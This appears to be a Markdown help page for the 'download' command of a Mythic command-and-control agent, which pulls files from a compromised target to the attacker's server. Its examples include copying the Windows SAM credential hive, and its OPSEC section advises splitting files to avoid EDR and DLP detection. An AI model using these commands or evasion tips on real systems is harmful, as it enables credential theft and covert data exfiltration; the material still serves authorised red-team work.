marcos.luna
60 lines
1.7 KiB
Markdown
60 lines
1.7 KiB
Markdown
# download - Download File from Target
|
|
|
|
Download a file from the target system to the Mythic server.
|
|
|
|
## Description
|
|
|
|
The `download` command downloads a file from the target system to the Mythic server. Files are transferred in 512KB chunks for efficient transmission. Supports files up to 2GB in size.
|
|
|
|
## Syntax
|
|
|
|
```
|
|
download <file_path>
|
|
```
|
|
|
|
## Parameters
|
|
|
|
- `file_path` (required): Path to the file to download. Supports both absolute and relative paths.
|
|
|
|
## Examples
|
|
|
|
```
|
|
download C:\Users\Administrator\Desktop\important.txt
|
|
download C:\Windows\System32\config\sam
|
|
download report.pdf
|
|
```
|
|
|
|
## Features
|
|
|
|
- Supports files up to 2GB in size
|
|
- Files are transferred in 512KB chunks for efficient transmission
|
|
- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
|
|
- Compatible with Mythic File Browser for interactive file selection
|
|
- Large files or sensitive files may trigger detection by EDR/XDR solutions and data loss prevention (DLP) systems
|
|
|
|
## Output
|
|
|
|
```
|
|
[download] Starting download: C:\Users\important.txt (1024000 bytes)
|
|
[download] Chunk 1/2 downloaded: 512000 bytes
|
|
[download] Chunk 2/2 downloaded: 512000 bytes
|
|
[download] Download complete: C:\Users\important.txt
|
|
```
|
|
|
|
## OPSEC Considerations
|
|
|
|
- File reads are logged by EDR/XDR solutions
|
|
- Large downloads generate network traffic and may trigger alerts
|
|
- Downloading sensitive files (SAM, config files) may trigger DLP systems
|
|
- Consider using smaller chunk sizes or splitting large files
|
|
|
|
## Related
|
|
|
|
[File Downloads Support](../../../features.md#file-downloads-support)
|
|
|
|
---
|
|
|
|
**Command Category:** File System
|
|
**Requires Admin:** No
|
|
**MITRE ATT&CK:** [T1105 - Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)
|